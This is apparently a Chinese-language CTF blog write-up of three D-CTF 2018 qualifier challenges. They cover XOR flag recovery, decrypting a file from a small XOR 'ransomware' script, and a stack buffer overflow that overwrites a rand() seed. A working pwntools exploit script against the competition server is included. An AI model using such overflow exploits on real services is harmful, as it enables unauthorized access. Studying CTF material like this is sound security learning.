threst's Blog

D-CTFQuals2018

2018/11/02 Share

XORnigma

1
2
3
4
5
6
7
8
9
10
import itertools
def xor_two_str(s, key):
key = key * (len(s) / len(key) + 1)
return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(s, key))

flag = ""
flag_key = ""
x = xor_two_str(flag, flag_key)
print x.encode("hex")
# 000000003f2537257777312725266c24207062777027307574706672217a67747374642577263077777a3725762067747173377326716371272165722122677522746327743e

查下关于itertools库

izip
izip用于将多个可迭代对象对应位置的元素作为一个元组,将所有元组『组成』一个迭代器,并返回。它的使用形式如下:

izip(iter1, iter2, ..., iterN)

如果某个可迭代对象不再生成值,则迭代停止。

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> from itertools import izip
>>>
>>> for item in izip('ABCD', 'xy'):
... print item
...
('A', 'x')
('B', 'y')
>>> for item in izip([1, 2, 3], ['a', 'b', 'c', 'd', 'e']):
... print item
...
(1, 'a')
(2, 'b')
(3, 'c')

根据这个比赛的规则flag前面都有DCTF这个关键字,再结合前面输出00000000,可以判断这个flag_key就是DCTF,因为一样的异或下就为0了,那么接下来的问题就是猜出其他数字了,根据key * (len(s) / len(key) + 1)可以知道他会一直循环key来加密字符串,00000000之后是3f,我们先将3f转为数字

int('3f',16)

输出63,在与D进行异或运算

63 ^ ord('D')
输出123

那么这个123就是密文的ascii码了,

chr(123)

输出{

1
2
3
4
5
6
7
8
enc = '000000003f2537257777312725266c24207062777027307574706672217a67747374642577263077777a3725762067747173377326716371272165722122677522746327743e'
key = 'DCTF'
flag = ''

for i in range(len(enc.decode('hex'))):
flag += chr(ord(enc.decode('hex')[i])^ord(key[i%len(key)]))

print flag

DCTF{fcc34eaae8bd3614dd30324e932770c3ed139cc2c3250c5b277cb14ea33f77a0}

Ransomware

下载来2个文件ransomware.pycyoufool!.exe,还原pyc代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import string
from random import *
import itertools

def caesar_cipher(buf, password):
password = password * (len(buf) / len(password) + 1)
return ('').join((chr(ord(x) ^ ord(y)) for x, y in itertools.izip(buf, password)))


f = open('./FlagDCTF.pdf', 'r')
buf = f.read()
f.close()
allchar = string.ascii_letters + string.punctuation + string.digits
password = ('').join((choice(allchar) for _ in range(60)))
buf = caesar_cipher(buf, password)
f = open('./youfool!.exe', 'w')
buf = f.write(buf)
f.close()

大概意思就是将FlagDCTF.pdf文件与随机60个字符异或加密,输出到youfool!.exe文件中去,那么我们只要找到密码就行了,使用这个工具猜出大概密码

:P-@uL"Y1K$[X)fg[|".45Yq9i>eV)<0C:('q4n[hGd/EeX+¼7,2O"+:[w

pdf文件头%PDF-1.,文件尾\n%%EOF\n

在使用这个工具,选取他的From hexXOR模块,

使用xxd -ps youfool\!.exe 将文件十六进制输出

由于刚才猜出的密码并不是每个字符都是正确的,所以根据output的关键字修改密码,最后得出密码为:P-@uSL"Y1K$[X)fg[|".45Yq9i>eV)<0C:('q4nP[hGd/EeX+E7,2O"+:[2,得到原始文件,上面就是flag

DCTF{d915b5e076215c3efb92e5844ac20d0620d19b15d427e207fae6a3b894f91333}

How lucky are you?(pwn)

Target: 167.99.143.206 65031
Bin: https://dctf.def.camp/dctf-18-quals-81249812/lucky

1.png

大致功能你输入名字,然后要你猜100个随机数字,重点是输入名字这里,可以控制从而溢出.

ida反编译代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax@1
unsigned int *v4; // rsi@2
__int64 v5; // rax@4
__int64 v6; // rax@6
__int64 v7; // rax@7
__int64 v8; // rax@7
__int64 v9; // rax@7
const char *v10; // rax@7
__int64 v11; // rax@7
__int64 v12; // rax@7
__int64 v13; // rax@7
__int64 v14; // rax@7
__int64 v15; // rax@7
__int64 v16; // rax@9
__int64 v17; // rax@9
__int64 v18; // rax@9
__int64 v19; // rax@10
__int64 v20; // rax@10
__int64 v21; // rax@11
signed int v22; // ebx@11
__int64 v23; // rax@13
char v25; // [sp+0h] [bp-540h]@12
char v26; // [sp+210h] [bp-330h]@12
char v27; // [sp+240h] [bp-300h]@7
char dest; // [sp+260h] [bp-2E0h]@7
char v29; // [sp+2D0h] [bp-270h]@7
char v30; // [sp+2F0h] [bp-250h]@1
__int64 v31; // [sp+3F0h] [bp-150h]@1
unsigned int seed[2]; // [sp+4F8h] [bp-48h]@1
int v33; // [sp+514h] [bp-2Ch]@9
int v34; // [sp+518h] [bp-28h]@9
unsigned int v35; // [sp+51Ch] [bp-24h]@7
__int64 v36; // [sp+520h] [bp-20h]@1
unsigned int i; // [sp+52Ch] [bp-14h]@7

*(_QWORD *)seed = 0LL;
v36 = 8LL;
v3 = sub_1972(8LL, 4LL, a3);
std::basic_ifstream<char,std::char_traits<char>>::basic_ifstream(&v30, "/dev/urandom", (unsigned int)v3);
if ( (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::operator bool(&v31) )
{
v4 = seed;
std::istream::read((std::istream *)&v30, (char *)seed, v36);
if ( (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::operator bool(&v31) )
{
srand(seed[0]);
}
else
{
LODWORD(v5) = std::operator<<<std::char_traits<char>>(&std::cerr, "Failed to read from /dev/urandom");
v4 = (unsigned int *)&std::endl<char,std::char_traits<char>>;
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
std::basic_ifstream<char,std::char_traits<char>>::close(&v30, v4);
}
else
{
LODWORD(v6) = std::operator<<<std::char_traits<char>>(&std::cerr, "Failed to open /dev/urandom");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
}
v35 = rand();
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v29);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v27);
LODWORD(v7) = std::operator<<<std::char_traits<char>>(&std::cout, "Hello, there!");
LODWORD(v8) = std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
LODWORD(v9) = std::operator<<<std::char_traits<char>>(&std::cout, "What is your name?");
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v27);
LODWORD(v10) = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v27);
strcpy(&dest, v10);
srand(v35);
LODWORD(v11) = std::operator<<<std::char_traits<char>>(&std::cout, "I am glad to know you, ");
LODWORD(v12) = std::operator<<<std::char_traits<char>>(v11, &dest);
LODWORD(v13) = std::operator<<<std::char_traits<char>>(v12, "!");
std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
LODWORD(v14) = std::operator<<<std::char_traits<char>>(
&std::cout,
"If you guess the next 100 random numbers I shall give you the flag!");
LODWORD(v15) = std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
std::ostream::operator<<(v15, &std::endl<char,std::char_traits<char>>);
for ( i = 0; (signed int)i <= 99; ++i )
{
v34 = rand();
LODWORD(v16) = std::operator<<<std::char_traits<char>>(&std::cout, "What number am I thinking of? [");
LODWORD(v17) = std::ostream::operator<<(v16, i);
LODWORD(v18) = std::operator<<<std::char_traits<char>>(v17, "/100]");
std::ostream::operator<<(v18, &std::endl<char,std::char_traits<char>>);
std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v27);
v33 = sub_1928(&v27, 0LL, 10LL);
if ( v33 != v34 )
{
LODWORD(v21) = std::operator<<<std::char_traits<char>>(&std::cout, "Wow that is wrong!");
std::ostream::operator<<(v21, &std::endl<char,std::char_traits<char>>);
v22 = -1;
goto LABEL_15;
}
LODWORD(v19) = std::operator<<<std::char_traits<char>>(&std::cout, "Wow that is corect!");
LODWORD(v20) = std::ostream::operator<<(v19, &std::endl<char,std::char_traits<char>>);
std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v26);
std::basic_ifstream<char,std::char_traits<char>>::basic_ifstream(&v25, "./flag", 8LL);
if ( (unsigned __int8)std::basic_ifstream<char,std::char_traits<char>>::is_open(&v25) )
{
std::getline<char,std::char_traits<char>,std::allocator<char>>(&v25, &v26);
LODWORD(v23) = std::operator<<<char,std::char_traits<char>,std::allocator<char>>(&std::cout, &v26);
std::ostream::operator<<(v23, &std::endl<char,std::char_traits<char>>);
std::basic_ifstream<char,std::char_traits<char>>::close(&v25, &std::endl<char,std::char_traits<char>>);
}
v22 = 0;
std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream(&v25);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v26);
LABEL_15:
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v27);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v29);
std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream(&v30);
return (unsigned int)v22;
}

它首先从/dev/urandom读取种子值并生成随机数。它将此随机数存储在v35中。之后,它使用std :: getline(std :: cin,&v27)读取用户输入。由于它是一个std :: string,它首先调用c_str()函数来获取C字符串指针并将该指针存储在v10中。最后,它调用strcpy(&dest,v10)将我们的字符串复制到dest。好处是在这些操作期间没有长度检查,这意味着我们可以使用缓冲区溢出覆盖其他变量。

让我们继续我们的分析。

在读取输入并将其复制到dest后, 它会调用srand(v35)。因此,第一个随机生成的数字实际上是进一步使用的种子值。最后,它使用rand()生成100个随机数,并期望我们正确猜测它们。

我们可以看到,从destv35的距离是700字节,这意味着在700个字符之后,接下来的4个字符将覆盖作为种子的v35中的值。由于我们可以根据需要设置种子值,因此我们可以猜测将生成的数字。
(我们输入的是dest将覆盖v35)

既然我们可以控制种子,我们来试试将种子设置为AAAA,

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
int main() {
int seed = 0x41414141;#AAAA
srand(seed);
for (int i = 0; i < 100; i++) {
printf("%d ", rand());
}
printf("\n");
return 0;
}

知识点:

1
2
3
>>> import pwn
>>> pwn.p32(0x41414141)
'AAAA'

这样来输出一百个伪随机数字

1
2045728160,999757742,1103458615,457950600,1444241668,459281054,1543513065,1546750049,178068626,1337501091,1398490315,632882557,316733390,627129835,375653904,1151751726,132249441,1178832412,1784493309,36098333,1808153066,1840701539,495212499,111955712,1895620395,1941274903,495499453,177285689,7383240,596865193,1837829365,2053111400,1596622935,793804332,363578353,893380956,1253085387,1907091418,292647357,1431154013,1097108861,1691137672,2064036570,1413842252,170783860,292206826,418110330,303033301,1471039239,55119991,339131634,1131708657,1895821530,834344133,1243664369,1643958278,628135388,1739163822,1821243967,635518628,188545368,1511589684,541146381,1785168303,157910369,904724734,531065611,1410995756,664332504,823712968,694666121,1761441365,367366993,611219043,1027799969,538150853,903425870,1445910299,841184154,226981461,1501030291,1180315788,1358690118,1249368173,2014659921,454870840,745842803,495311661,46551014,419603122,1130830289,235096382,1931192807,1671976670,2020264686,2089103176,429217756,403846649,1352615284,1093550260

wp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
from pwn import *

numbers = [2045728160,999757742,1103458615,457950600,1444241668,459281054,1543513065,1546750049,178068626,1337501091,1398490315,632882557,316733390,627129835,375653904,1151751726,132249441,1178832412,1784493309,36098333,1808153066,1840701539,495212499,111955712,1895620395,1941274903,495499453,177285689,7383240,596865193,1837829365,2053111400,1596622935,793804332,363578353,893380956,1253085387,1907091418,292647357,1431154013,1097108861,1691137672,2064036570,1413842252,170783860,292206826,418110330,303033301,1471039239,55119991,339131634,1131708657,1895821530,834344133,1243664369,1643958278,628135388,1739163822,1821243967,635518628,188545368,1511589684,541146381,1785168303,157910369,904724734,531065611,1410995756,664332504,823712968,694666121,1761441365,367366993,611219043,1027799969,538150853,903425870,1445910299,841184154,226981461,1501030291,1180315788,1358690118,1249368173,2014659921,454870840,745842803,495311661,46551014,419603122,1130830289,235096382,1931192807,1671976670,2020264686,2089103176,429217756,403846649,1352615284,1093550260]
#刚才生成的数字
r = remote('167.99.143.206', 65031)
r.recvlines(3)
r.sendline('A' * 700 + p32(0x41414141))#保证和之前生成数字时的种子一致
r.recvlines(3)

for number in numbers:
r.recvline()
r.sendline(str(number))
r.recvlines(2)

print r.recv()

这样我们及控制种子,100个数字也输对了,flag就get到了
DCTF{8adadb46b599a58344559e009bc167da7f0e65e64167c27d3192e8b6df073eaa}
430111200008287946

CATALOG
  1. 1. XORnigma
  2. 2. Ransomware
  3. 3. How lucky are you?(pwn)